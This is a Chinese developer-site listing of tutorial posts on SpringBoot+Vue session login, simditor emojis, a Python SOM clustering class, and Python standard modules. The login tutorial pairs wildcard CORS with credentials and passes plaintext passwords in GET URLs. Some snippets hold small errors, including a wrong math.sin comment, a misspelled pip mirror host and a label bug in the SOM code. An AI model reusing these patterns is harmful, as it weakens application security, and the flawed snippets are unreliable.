当前位置: 首页> 文章列表

    数据加载中

  • SpringBoot+Vue前后台分离使用session存储用户状态

    SpringBoot+Vue前后台分离使用session存储用户状态

    因为前后端分离的话 普通情况下是拿不到htpSession这个对象的 不像JSP一样 img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesca814f9a746ab4786abbe.jpg] 先配置后台跨域[pre] import org.springframework.context.annotation.Configuration; import org.springframework.web.servlet.config.annotation.CorsRegistry; import org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter; @Configuration public class CorsConfig extends WebMvcConfigurerAdapter { @Override public void addCorsMappings(CorsRegistry registry) { registry.addMapping("/**").allowedOrigins("*") .allowedMethods("GET", "HEAD", "POST","PUT", "DELETE", "OPTIONS") .allowCredentials(true).maxAge(6000); } } [/pre] [pre] import javax.servlet.*; import javax.servlet.annotation.WebFilter; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; @WebFilter(filterName = "CorsFilter ") public class CorsFilter implements Filter { @Override public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { HttpServletResponse response = (HttpServletResponse) res; HttpServletRequest reqs = (HttpServletRequest) req; // response.setHeader("Access-Control-Allow-Origin",reqs.getHeader("Origin")); response.setHeader("Access-Control-Allow-Origin","*"); response.setHeader("Access-Control-Allow-Credentials", "true"); response.setHeader("Access-Control-Allow-Methods", "POST, GET, PATCH, DELETE, PUT"); response.setHeader("Access-Control-Max-Age", "3600"); response.setHeader("Access-Control-Allow-Headers", "Origin, X-Requested-With, Content-Type, Accept"); chain.doFilter(req, res); } @Override public void init(FilterConfig filterConfig) {} @Override public void destroy() {} } [/pre] 写一个拦截器 用于拦截没有登录的用户请求(判断session中有没有user) [pre] import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import org.springframework.web.servlet.HandlerInterceptor; import org.springframework.web.servlet.ModelAndView; import com.mfc.entity.EtAdmin; public class LoginInterceptor implements HandlerInterceptor { // 执行Handler方法之前执行 // 用于身份认证、身份授权 // 比如身份认证,如果认证通过表示当前用户没有登陆,需要此方法拦截不再向下执行 //验证用户权限 @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { System.out.println("---"+request.getSession().getAttribute("user")); if(null == request.getSession().getAttribute("user")){ return false; } return true; } // 进入Handler方法之后,返回modelAndView之前执行 // 应用场景从modelAndView出发:将公用的模型数据(比如菜单导航)在这里 // 传到视图,也可以在这里统一指定视图 @Override public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { } // 执行Handler完成执行此方法 // 应用场景:统一异常处理,统一日志处理 @Override public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { } } [/pre] 然后把这个拦截器注册(addPathPattern是添加过滤路径 excludePathPatterns是排除过滤路径 也就是说/user下面的请求 只有login可以不走拦截器 其他的都会走) [pre] import java.util.List; import org.springframework.context.annotation.Configuration; import org.springframework.format.FormatterRegistry; import org.springframework.http.converter.HttpMessageConverter; import org.springframework.validation.MessageCodesResolver; import org.springframework.validation.Validator; import org.springframework.web.method.support.HandlerMethodArgumentResolver; import org.springframework.web.method.support.HandlerMethodReturnValueHandler; import org.springframework.web.servlet.HandlerExceptionResolver; import org.springframework.web.servlet.config.annotation.AsyncSupportConfigurer; import org.springframework.web.servlet.config.annotation.ContentNegotiationConfigurer; import org.springframework.web.servlet.config.annotation.CorsRegistry; import org.springframework.web.servlet.config.annotation.DefaultServletHandlerConfigurer; import org.springframework.web.servlet.config.annotation.InterceptorRegistry; import org.springframework.web.servlet.config.annotation.PathMatchConfigurer; import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry; import org.springframework.web.servlet.config.annotation.ViewControllerRegistry; import org.springframework.web.servlet.config.annotation.ViewResolverRegistry; import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; import com.mfc.Interceptor.LoginInterceptor; @Configuration public class WebappAdapter implements WebMvcConfigurer{ /** * 注册拦截器 */ @Override public void addInterceptors(InterceptorRegistry registry) { registry.addInterceptor(new LoginInterceptor()).addPathPatterns("/user/**") .excludePathPatterns("/user/login"); } @Override public void addArgumentResolvers(List<HandlerMethodArgumentResolver> arg0) { // TODO Auto-generated method stub } @Override public void addCorsMappings(CorsRegistry arg0) { // TODO Auto-generated method stub } @Override public void addFormatters(FormatterRegistry arg0) { // TODO Auto-generated method stub } @Override public void addResourceHandlers(ResourceHandlerRegistry arg0) { // TODO Auto-generated method stub } @Override public void addReturnValueHandlers( List<HandlerMethodReturnValueHandler> arg0) { // TODO Auto-generated method stub } @Override public void addViewControllers(ViewControllerRegistry arg0) { // TODO Auto-generated method stub } @Override public void configureAsyncSupport(AsyncSupportConfigurer arg0) { // TODO Auto-generated method stub } @Override public void configureContentNegotiation(ContentNegotiationConfigurer arg0) { // TODO Auto-generated method stub } @Override public void configureDefaultServletHandling( DefaultServletHandlerConfigurer arg0) { // TODO Auto-generated method stub } @Override public void configureHandlerExceptionResolvers( List<HandlerExceptionResolver> arg0) { // TODO Auto-generated method stub } @Override public void configureMessageConverters(List<HttpMessageConverter<?>> arg0) { // TODO Auto-generated method stub } @Override public void configurePathMatch(PathMatchConfigurer arg0) { // TODO Auto-generated method stub } @Override public void configureViewResolvers(ViewResolverRegistry arg0) { // TODO Auto-generated method stub } @Override public void extendHandlerExceptionResolvers( List<HandlerExceptionResolver> arg0) { // TODO Auto-generated method stub } @Override public void extendMessageConverters(List<HttpMessageConverter<?>> arg0) { // TODO Auto-generated method stub } @Override public MessageCodesResolver getMessageCodesResolver() { // TODO Auto-generated method stub return null; } @Override public Validator getValidator() { // TODO Auto-generated method stub return null; } } [/pre] VUE中需要简单配置一下axios(后面可以吧axios封装起来 我这项目比较小 就暂时没有封装) 在main.js中配置并引用axios(当请求后台被拦截的话 就跳转到登录页面) [pre] import VueAxios from 'vue-axios' import axios from 'axios' Vue.use(VueAxios, axios) axios.defaults.baseURL = 'http://localhost:8099' axios.defaults.withCredentials=true;//请求发送cookie // 添加请求拦截器 axios.interceptors.request.use(function (config) { // 在发送请求之前做些什么 console.log('in interceptor, request config: ', config); return config; }, function (error) { // 对请求错误做些什么 return Promise.reject(error); }); // 添加响应拦截器 axios.interceptors.response.use(function (response) { // 对响应数据做点什么 console.log('in interceptor, response: ', response); if(!response.data.success){ console.log('errCode:', response.data.errCode, 'errMsg:', response.data.errMsg); let code = response.data.errCode; console.log("reposne ",response) if('login02'==code){ //登录session失效 //window.location.href = '/'; console.log('before to login, current route path:', router.currentRoute.path); router.push({path:'/login'}); } } return response; }, function (error) { // 对响应错误做点什么 console.log('in interceptor, error: ', error); router.push({path:'/login'}); return Promise.reject(error); }); [/pre] 登录的话就写了一个简易的请求 [pre] const loading = this.$loading({ lock: true, text: "登录中", spinner: "el-icon-loading", background: "rgba(0, 0, 0, 0.7)", }); that.axios.get("/user/login?stu_no="+this.username+"&upass="+this.password).then(res=>{ console.log(res) if(res.data.status == 0){ this.$message(res.data.msg) loading.close(); }else{ loading.close(); sessionStorage.setItem("userId",res.data.stu.id) sessionStorage.setItem("realname",res.data.stu.realname) that.$router.replace("Home"); } [/pre] 后台处理登录(登录成功后session中储存用户信息) img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc46dbb1873be545d7b10a.jpg]

    擅长领域:Java,HTML,MySQL,Linux,SpringBoot,SpringC... 迷人闹G 2021-05-07 09:01:04 100

  • simditor编辑器添加表情

    simditor编辑器添加表情

    事情是这样的,用simditor做了一个简易的编译器,用户说需要添加表情,我上网查资料发现这个编译器没有表情,考虑用layui的编译器,可是项目引入layu后整个页面布局效果全部被layui影响了,另外我需要替换的编译器的地方有点多,想想还是在simditor编译器里加表情了。先来看看最终效果图吧 img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc87f9fe41fddd4689ae27.jpg] 后面的这个表亲是我自己添加进去的,其实非常简单,一起来看看代码吧,可以直接复制使用哦。 [pre] function showfaces(){ //首先你需要有表情图片,循环读取 var bq=''; for(var i=0;i<=71;i++){ bq+='<img src="${ctxf}/images/face/'+i+'.gif" onclick="faces(this)">'; } //找到编译器菜单,在他的最后面加一个表情的按钮,这个吧上面的表情添加进去 $('.simditor-toolbar ul').eq(0).append('<li><a tabindex="-1" unselectable="on" class="toolbar-item toolbar-item-outdent" href="javascript:;" title="表情" onclick="face(this)"><img src="${ctxf}/images/face/0.gif"></a><div class="toolbar-menu jf3q_faces" style="width:300px;">'+bq+'</div></li>'); //由于我的编译器菜单样式变了,我在这里设置一下 $('.toolbar-item span').css({"line-height":"30px"}); } //点击菜单的表情按钮,表情div就显示或者隐藏 function face(v){ if($(v).next().is(":hidden")){ $(v).next().show(); }else{ $(v).next().hide(); } } //点击表情,就把这个表情图片显示到编辑框里面去 function faces(v){ var src=$(v).attr('src'); $('.simditor-body').append('<img src="'+src+'">'); } //鼠标移出表情div,表情div自动隐藏 $('body').on('mouseleave','.jf3q_faces',function(){ $('.jf3q_faces').hide(); }) [/pre] 注意: 代码要写到实力化变异框的下面才起作用 img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc66b1b91fcc3746eb947c.jpg]

    擅长领域:Java,HTML,JavaScript,MySQL,支付,退款,图片上传 白色喵 2021-05-02 17:51:10 106

  • simditor图标样式出问题了

    simditor图标样式出问题了

    编译器图标样式出问题了,显示的很丑,如下图。 img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledescb049c3730c07495c9c5c.jpg] 我在引入之后,图标向上面这样,看起来很丑,产生原因是我自己的css影响了simditor编译器的样式,有兴趣可以按f12查看浏览器的控制台,找到被影响的节点。在这里我用jq来调增他的line-height就可以了 [pre] $('.toolbar-item span').css({"line-height":"30px"}); [/pre] 这个toolbar-item span被我的css影响,那我重新设置一下他的行高就ok了。效果如下,注意代码要写到实力化变异框的下面才起作用(页面还没有产生编译框,那肯定是没有这些节点的,所以需要写在他的后面) img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc76f919ae3ff0418a9ebb.jpg]

    擅长领域:Java,HTML,JavaScript,MySQL,支付,退款,图片上传 白色喵 2021-05-02 17:47:32 104

  • 用VUE+SpringBoot+Redis+WebSocket做一个模拟防沉迷人脸系统

    用VUE+SpringBoot+Redis+WebSocket做一个模拟防沉迷人脸系统

    人脸识别的话就是调用的百度云的接口 短信用的容联云 注册的时候通过容联云的api发送短信 用redis存储验证码用于前台提交验证 人脸验证就是前台进行人脸拍照 上传到百度人脸库中存储用身份证当标识 数据库也存上身份证对应用户 在登录的时候进行比对 对比成功后返回身份证号 再到数据库中查找这个用户的信息 查询这个用户有没有被禁用 或者已到休息时间(到redis中查询isban:用户名 如果有这个键值对 那就是休息时间 redis的过期时间就是用户的休息时间) 登录成功后就用websocket连上服务器发送自己的id 保持连接 后台收到连接后 定时器会去给这些id去叠加游戏时长 到一定的时间后 比如未成年人两小时 就向客户端发送信息 使其强制退出 然后向redis添加禁用用户的时间 到一定时间才可以登录

    擅长领域:Java,HTML,MySQL,Linux,SpringBoot,SpringC... 迷人闹G 2021-04-30 16:55:49 108

  • 杰凡IT问答平台如何保证竞选者的权益

    杰凡IT问答平台如何保证竞选者的权益 最热

    作为在平台上第一次接单的人,最大的顾虑无非就是辛苦给别人解决了问题,担心别人不把钱给自己怎办?(万一辛苦解决了,不给钱跑路,白嫖劳动力咋办) 针对以上的问题其实平台早就为您考虑到了。 首先这个平台是有偿问答平台,提问者在发布问题的时候就已经把钱(人民币)打到平台了。竞选者看到提问者问题的时候,赏金金额真实存在到杰凡it平台对应的支付接口账号里了。所以最后您解决完问题后直接点提现就行,是平台给您钱,不是提问者直接给您!除非平台想黑你钱(但这完全不可能,平台追求的是长期发展,不会为了小钱坏了自己的口碑!!!) 类似投标 中标的那种模式。当然有的人会想万一选不上岂不是白做了? 这个其实您多虑了,第一个竞选的,人家客户急的话肯定优先啊。再者说了您只是竞选而已,又没开始干活。没干活呢咋来的白干一说呢?你们双方谈妥才开工的。有的朋友可能看到客户悬赏的金额有点低就懒得竞选,其实价钱这块你和提问者双方是可以协商的,你觉得价格低了那就让对方在平台追加,当然如果对方不愿意追加,那他可能直接不用你做选择其他竞选者做了(这个时候你压根没开工,所以没有任何损失)总之一句话,提问者没在平台把赏金追加到您满意的价位您不开工就是了。 万一有的提问者发了100的单,结果竞选者辛苦解决了,发布者用小号竞选下把解决问题的人选成自己的小号怎办?(这平台早就想到了,一开始悬赏就必须把钱打到平台,最后核实权在平台。这样就能保障双方的利益)出现纠纷提前联系平台客服我就行。提供相关截图证据。而且平台有专门的投诉入口。平台在给竞选者提现的时候也会核实这个竞选者的真实性。所以大家大可放心去竞选。 img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc3a9aa90c89c044c59b7c.jpg] 综上所述:平台是提问者和竞选者双方的保证。不是单纯只保护提问者的利益。您所顾虑的东西,平台已经提前为你考虑过了。 平台的主要功能就在于给提问者和竞选者之间建立信任关系。最起码提问者和回答者都不会被骗。解决了给陌生人私下转账的风险。 平台网址: a(https://www.jf3q.com)[https://www.jf3q.com]

    擅长领域:Java,MySQL,Linux,nginx 飞一样的编程 2021-03-17 00:05:31 156

  • 点击导出按钮,导出excel表格,后端接口已经写好

    点击导出按钮,导出excel表格,后端接口已经写好 最热

    导出的时候需要带条件(条件已经有了),想要的效果是,点击导出按钮时,跳转到新的标签页,触发后端接口,后端接口时get请求,需要带上条件

    擅长领域:不详 Pmy...m. 2021-02-04 11:44:18 171

  • layui promat 设置默认值

    layui promat 设置默认值 最热

    img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc7da628e62e054471baed.jpg]

    擅长领域:不详 风尘 2021-01-18 14:35:06 159

  • 自组织映射网络 -用python实现SOM(用于聚类)

    自组织映射网络 -用python实现SOM(用于聚类)

    主题:自组织映射网络 -用python实现SOM(用于聚类) 前言: SOM(Self Organizing Maps ) 得目标是用低维目标空间得点来表示高维空间中得点,并且尽可能保持对应点得距离和邻近关系(拓扑关系)。该算法可用于降维和聚类等方面,本文通过python实现了该算法在聚类方面得应用,并将代码进行了封装,方便读者调用。 下图为正文计算实例得可视化图形。 img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc909c2bbe81cf433e8ef7.jpg] python实现代码 net:竞争层得拓扑结构,支持一维及二维,1表示该输出节点存在,0表示不存在该输出节点 epochs:最大迭代次数 .r_t:[C,B] 领域半径参数,r = C*e**(-B * t/eoochs),其中t表示当前迭代次数 eps:[C,B] learning rate得阈值 用法:指定竞争层得拓扑结构、 最大迭代次数、领域半径参数、学习率阈值(后三个参数也可不指定),竞争层得拓扑结构得节点数代表了聚类数目,然后直接调用fit(X) 进行数据集得聚类。 [pre]# -*- coding: utf-8 -*- # @Time : 2021/1/12 22:37 # @Author : CyrusMay WJ # @FileName: SOM.py # @Software: PyCharm # @Blog :https://blog.csdn.net/Cyrus_May import numpy as np import random np.random.seed(22) class CyrusSOM(object): def __init__(self,net=[[1,1],[1,1]],epochs = 50,r_t = [None,None],eps=1e-6): """ :param net: 竞争层得拓扑结构,支持一维及二维,1表示该输出节点存在,0表示不存在该输出节点 :param epochs: 最大迭代次数 :param r_t: [C,B] 领域半径参数,r = C*e**(-B*t/eoochs),其中t表示当前迭代次数 :param eps: learning rate得阈值 """ self.epochs = epochs self.C = r_t[0] self.B = r_t[1] self.eps = eps self.output_net = np.array(net) if len(self.output_net.shape) == 1: self.output_net = self.output_net.reshape([-1,1]) self.coord = np.zeros([self.output_net.shape[0],self.output_net.shape[1],2]) for i in range(self.output_net.shape[0]): for j in range(self.output_net.shape[1]): self.coord[i,j] = [i,j] print(self.coord) def __r_t(self,t): if not self.C: return 0.5 else: return self.C*np.exp(-self.B*t/self.epochs) def __lr(self,t,distance): return (self.epochs-t)/self.epochs*np.exp(-distance) def standard_x(self,x): x = np.array(x) for i in range(x.shape[0]): x[i,:] = [value/(((x[i,:])**2).sum()**0.5) for value in x[i,:]] return x def standard_w(self,w): for i in range(w.shape[0]): for j in range(w.shape[1]): w[i,j,:] = [value/(((w[i,j,:])**2).sum()**0.5) for value in w[i,j,:]] return w def cal_similar(self,x,w): similar = (x*w).sum(axis=2) coord = np.where(similar==similar.max()) return [coord[0][0],coord[1][0]] def update_w(self,center_coord,x,step): for i in range(self.coord.shape[0]): for j in range(self.coord.shape[1]): distance = (((center_coord-self.coord[i,j])**2).sum())**0.5 if distance <= self.__r_t(step): self.W[i,j] = self.W[i,j] + self.__lr(step,distance)*(x-self.W[i,j]) def transform_fit(self,x): self.train_x = self.standard_x(x) self.W = np.zeros([self.output_net.shape[0],self.output_net.shape[1],self.train_x.shape[1]]) for i in range(self.W.shape[0]): for j in range(self.W.shape[1]): self.W[i,j,:] = self.train_x[random.choice(range(self.train_x.shape[0])),:] self.W = self.standard_w(self.W) for step in range(int(self.epochs)): j = 0 if self.__lr(step,0) <= self.eps: break for index in range(self.train_x.shape[0]): print("*"*8,"({},{})/{} W:\n".format(step,j,self.epochs),self.W) center_coord = self.cal_similar(self.train_x[index,:],self.W) self.update_w(center_coord,self.train_x[index,:],step) self.W = self.standard_w(self.W) j += 1 label = [] for index in range(self.train_x.shape[0]): center_coord = self.cal_similar(self.train_x[index, :], self.W) label.append(center_coord[1]*self.coord.shape[1] + center_coord[0]) class_dict = {} for index in range(self.train_x.shape[0]): if label[index] in class_dict.keys(): class_dict[label[index]].append(index) else: class_dict[label[index]] = [index] cluster_center = {} for key,value in class_dict.items(): cluster_center[key] = np.array([x[i, :] for i in value]).mean(axis=0) self.cluster_center = cluster_center return label def fit(self,x): self.train_x = self.standard_x(x) self.W = np.random.rand(self.output_net.shape[0], self.output_net.shape[1], self.train_x.shape[1]) self.W = self.standard_w(self.W) for step in range(int(self.epochs)): j = 0 if self.__lr(step,0) <= self.eps: break for index in range(self.train_x.shape[0]): print("*"*8,"({},{})/{} W:\n".format(step, j, self.epochs), self.W) center_coord = self.cal_similar(self.train_x[index, :], self.W) self.update_w(center_coord, self.train_x[index, :], step) self.W = self.standard_w(self.W) j += 1 label = [] for index in range(self.train_x.shape[0]): center_coord = self.cal_similar(self.train_x[index, :], self.W) label.append(center_coord[1] * self.coord.shape[1] + center_coord[1]) class_dict = {} for index in range(self.train_x.shape[0]): if label[index] in class_dict.keys(): class_dict[label[index]].append(index) else: class_dict[label[index]] = [index] cluster_center = {} for key, value in class_dict.items(): cluster_center[key] = np.array([x[i, :] for i in value]).mean(axis=0) self.cluster_center = cluster_center def predict(self,x): self.pre_x = self.standard_x(x) label = [] for index in range(self.pre_x.shape[0]): center_coord = self.cal_similar(self.pre_x[index, :], self.W) label.append(center_coord[1] * self.coord.shape[1] + center_coord[1]) return label [/pre] 计算实例 对簇形状数据集进行聚类 仅需五步即可实现较好得聚类结果 [pre]from sklearn.datasets import load_iris,make_blobs import matplotlib.pyplot as plt from sklearn.metrics import classification_report if __name__ == '__main__': SOM = CyrusSOM(epochs=5) data = make_blobs(n_samples=1000,n_features=2,centers=4,cluster_std=0.3) x = data[0] y_pre = SOM.transform_fit(x) colors = "rgby" figure = plt.figure(figsize=[20,12]) plt.scatter(x[:,0],x[:,1],c=[colors[i] for i in y_pre]) plt.show() [/pre] [pre]******** (4,998)/5 W: [[[-0.90394221 -0.42765463] [-0.99859415 -0.05300684]] [[-0.77166042 0.63603475] [-0.23064699 0.9730375 ]]] ******** (4,999)/5 W: [[[-0.89968359 -0.4365426 ] [-0.99859415 -0.05300684]] [[-0.77166042 0.63603475] [-0.23064699 0.9730375 ]]] [/pre] img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledescb66bdf0a861c448aafbb.jpg] 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址: a(https://www.jf3q.com)[https://www.jf3q.com]

    擅长领域:不详 K 2021-01-14 22:47:00 133

  • python中os模块、math模块、random模块、time模块、datetime模块介绍

    python中os模块、math模块、random模块、time模块、datetime模块介绍

    前言:python导入模块得一些语法 [pre]from random import randint#2、from 模块名 import 函数名,导入模块里得一个方法或变量 from math import * #3、from 模块名 import * ,导入模块里得'所有'(并不是所有得都能导进来)方法和变量 import datetime as dt#4、导入一个模块并给它起一个别名 from copy import deepcopy as dc#5、导入模块里得一个方法或变量,并给它起一个别名[/pre] 1 os模块 os全称operationSystem操作系统 os模块提供得方法就是用来调用操作系统里得方法 [pre]# 这些是我得文件,你们可以换成自己有得文件或文件夹名 # 都是需要打印才能看到得,后面得我就没有使用print去输出了 print(os.path.abspath('01.高阶函数.py'))# 获取绝对路径 print(os.path.dirname(os.path.abspath(__file__)))# 获取该文件得父节点 print(os.path.isdir('01.高阶函数.py'))# False,判断是否是文件夹 print(os.path.isfile('01.高阶函数.py'))# True 判断是否是文件 print(os.path.exists('01.高阶函数.py'))# True 判断是否存在 # os.getcwd() # 获取当前得工作目录,即当前python脚本工作得目录 # os.chdir('test') # 改变当前脚本工作目录,相当于shell下得cd命分 # os.rename('毕业论文.txt','毕业论文-最终版.txt') #文件重命名 # os.remove('毕业论文.txt') # 删除文件 # os.rmdir('demo') # 删除空文件夹 # os.removedirs('demo') #删除空文件夹 # os.mkdir('demo') # 创建一个文件夹 # os.listdir('C:\\')#列出指定目录里得所有文件和文件夹 # os.name # nt- >widonws posix- >L inux/Unix或者MacOS # os.environ #获取到环境配置[/pre] 2 math模块 数学相关计算得模块 [pre]import math print(math.pi) # 3.141592653589793 print(math.factorial(5)) # 120 求阶乘 print(math.pow(2, 10)) # 1024.0 幂运算 print(math.floor(15.999)) # 15 向下取整 print(math.ceil(14.001)) # 15 向上取整 print(math.sin(math.pi / 6))# 1024.0 print(math.cos(math.pi / 3))# 0.5000000000000001 print(math.tan(math.pi / 4))# 0.9999999999999999 [/pre] 3 random模块 和随机数相关得模块 [pre]import random # 注意开闭区间 print(random.randint(2, 9))#randint(a,b)用来生成[a,b]得随机整数 print(random.randrange(2, 9))#randrange(2,9)用来生成[a,b)得随机整数 print(random.random())# 用来生成[0,1)得随机浮点数 print(random.choice(range(2, 9)))# 用来在可迭代对象里随机抽取一个数据 # 用来在可迭代对象里随机抽取n个数据 print(random.sample(range(10), 2)) [/pre] 4 datetime模块 [pre] import datetime as dt print(dt.datetime.now())# 获取当前日期时间 print(dt.date(2010, 12, 21))# 2010-12-21 创建一个日期 print(dt.time(12, 12, 12))# 12:12:12 创建一个时间 print(dt.datetime.now() + dt.timedelta (3))# 计算三天后得时间 [/pre] 5 time模块 [pre]import time print(time.time())# 获取从1970-01-01 00:00:00 UTC 到现在时间得秒数 print(time.strftime('%Y-%m-%d %H:%M:%S'))# 按照格式打印时间 print(time.ctime())# ctime()要得是一个时间戳 print('hello') time.sleep(10)# 睡眠10秒 print('world') [/pre] 6 hashlib和hmac模块 [pre]import hashlib import hmac # 这两个模块是用来进行数据加密得 # hashlib模块里主要支持两个算法 md5 和 sha 加密 # 加密方式:单向加密,只能加密,不能解密md5和sha # 需要将要加密得内容转换为二进制 x = hashlib.md5() x.update('abc'.encode('utf8')) print(x.hexdigest())# 900150983cd24fb0d6963f7d28e17f72 h1 = hashlib.sha1('123456'.encode()) print(h1. hexdigest())# 7c4a8d09ca3762af61e59520943dc26494f8941b h2 = hashlib.sha224( '123456'.encode())# 224位,一个十六进制占4位 print(h2. hexdigest())# f8cdb04495ded47615258f9dc6a3f4707fd2405434fefc3cbf4ef4e6 h3 = hashlib.sha256('123456'.encode()) print(h3. hexdigest())# 8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92 h4 = hashlib.sha384('123456'.encode()) print(h4. hexdigest())# 0a989ebc4a77b56a6e2bb7b19d995d185ce44090c13e2984b7ecc6d446d4b61ea9991b76a4c2f04b1b4d244841449454 # hmac加密可以指定秘钥 h = hmac.new('h'.encode(),'你好'.encode())# 使用'h'对'你好'进行加密 print(h.hexdigest()) [/pre] 7 calendar模块 日历模块 [pre]import calendar # 可以点进帮助文档看看,还有很多有关日历得方法 print(calendar.calendar(2021))# 打印日历 print(calendar.isleap(2020))# True 判断是否闰年 [/pre] 使用第三方模块 [pre]# 注意这是在Terminal终端输入得,当然也可以使用cmd # pip install <package_name> 用来下载一个第三方模块 # pip uninstall <package_name> 用来删除一个第三方模块 # pip list 用来列出当前模块安装了哪些模块 # pip freeze 用来列出当前环境安装得模块名和版本号 # pip install <package_name> -i <url>路径 从指定得地址下载包(临时改得) # pip freeze > file_name 将安装得模块名和版本号重定向输出到指定得文件 # pip install -r flie_name 读取文件里得模块名和版本号并安装 [/pre] 最后分享下国内常见的镜像 [pre]阿里云:https://mirrors.aliyun.com/pypi/simple/ 中国科技大学:https://pypi.mirrors.ustc.edu.cn/simple/ 豆瓣(douban):https://pypi.dauban.com/simple/ 清华大学 https://pypi.tuna.tsinghua.edu.cn/simple/ 中国科学技术大学:https://pypi.mirrors.ustc.edu.cn/simplie/[/pre] 行,今天就给大家分享到这里吧,您的一份支持就是我最大的动力,最后打个小广告,我们程序员在学习和工作中或多或少会遇到一些比较棘手的问题,也就所谓的一时半会解决不了的bug,可以来杰凡IT问答平台上提问,平台上大佬很多可以快速给你一对一解决问题,有需要的朋友可以去关注下,平台网址: a(https://www.jf3q.com)[https://www.jf3q.com]

    擅长领域:不详 K 2021-01-14 22:24:22 140

  • 用python爬虫生成随机漫步数据

    用python爬虫生成随机漫步数据

    前言:使用python生成随机漫步数据,然后用matplotlib得方式将这些数据呈现出来。 思路:随机漫步每次行走都完全是随机得,没有明确得方向,结果是由一系列随机决策决定得。你可以这样认为,随机漫步就是蚂蚁在晕头转向得情况下,每次都沿随机得方向所经过得路径。 创建RandomWalk()类 为了模拟随机漫步,我们创建一个RandownWalk得类,它随机选择前进得方向。这个类需要三个属性,其中一个是存储随机漫步次数得变量,其他两个是列表,分别存储随机漫步经过得每个点得x坐标和y坐标。 RandomWalk类只包含两个方法,init()和fill_walk(),其中后者计算随机漫步经过得所有点,下面是__init__(): [pre]from random import choice class RandomWalk(): """一个生成随机漫步数据得类""" def __init__(self, number_points=5000): """初始化随机漫步得属性""" self.number_points = number_points # 所有随机漫步都始于(0,0) self.x_values = [0] self.y_values = [0] [/pre] 为做出随机决策,我们将所有可能得选择都存储到一个列表中,并在每次做出决策时都使用choice()来决定使用哪种选择,然后我们将随机漫步得默认点数设置为5000,然后我们创建了两个用于存储x值和y值得列表,并让每次漫步都是从(0,0)开始出发。 选择方向 [pre] def fill_walk(self): """计算随机漫步中包含得所有点""" # 不断漫步,直到列表达到指定得长度 while len(self.x_values) < self.number_points: # 决定前进方向以及沿这个方向前进得距离 x_direction = choice([1, -1]) x_distance = choice([0, 1, 2, 3, 4]) x_step = x_direction * x_distance y_direction = choice([1, -1]) y_distance = choice([0, 1, 2, 3, 4]) y_step = y_direction * y_distance # 计算下一个点得x和y值 next_x = self.x_values[-1] + x_step next_y = self.y_values[-1] + y_step self.x_values.append(next_x) self.y_values.append(next_y) [/pre] 我们建立了一个循环,这个循环不断进行,直到漫步包含所有需数量得点。这个方法得主要部分告诉python如何模拟四种漫步决定:向左走还是向右走?向上走还是向下走?沿着指定得方向走多远? 我们使用choice([1, -1])给x_direction选择一个值,结果要么是表示向右走得1,要么是表示向左走得-1,接下来choice([0, 1, 2, 3, 4])随机选择一个0~4之间得数,告诉python沿着指定方向走多远。 我们将移动方向乘以移动距离,以确定沿x轴和y轴移动得距离。如果x_step为正,就将向右移动,为负向左移动,而为0将垂直移动,y_step为正向上移动,为负向下移动,为0则水平移动,如果两个都为0那么就以为着在原地踏步,我们拒绝这种情况,接着执行下一次循环。 为获取随机漫步得下一个点得x值,我们将x_step和x_values得最后一个值相加,对于y值也做同样得处理。获得下一个点得x值和y值之后,我们将它分别附加到列表x_values和y_values得末尾。 绘制随机漫步图 我们将上面创建RandomWalk类得py文件命名为random_walk.py。 下面得代码将随机漫步得所有点都绘制出来: [pre]import matplotlib.pyplot as plt from random_walk import RandomWalk # 创建一个RandWalk实例,并将其包含得点都绘制出来 rw = RandomWalk(5000) rw.fill_walk() plt.scatter(rw.x_values, rw.y_values, s=15) plt.show() [/pre] 我们首先导入了模块pyplot和RandomWalk类,然后创建了一个RandomWalk实例,并将其存储到rw中,再调用fill_walk(),下图就是显示了包含了5000个点得随机漫步图。 img0[https://www.jf3q.com/upload_imgs/jf3q/jf_uinfo_Articledesc/jf_uinfo_Articledesc9c7fe3ea3fd54e7e83b8.jpg] 模拟多次随机漫步 每次随机漫步都不相同,因此探索可能生成得各种模式很有趣。在不多次运行程序得情况下使用前面得代码模拟多次随机漫步,一种办法就是将前面得代码放进一个while循环中,如下所示: [pre]import matplotlib.pyplot as plt from random_walk import RandomWalk while True: # 创建一个RandWalk实例,并将其包含得点都绘制出来 rw = RandomWalk(5000) rw.fill_walk() plt.scatter(rw.x_values, rw.y_values, s=1) plt.show() keep_running = input('Make another walk? (y/n) : ') if keep_running == 'n': break [/pre] 这些代码模拟一次随机漫步,如果你输入y则再继续模拟生成一次随机漫步,输入n得话就退出程序了。 给点着色 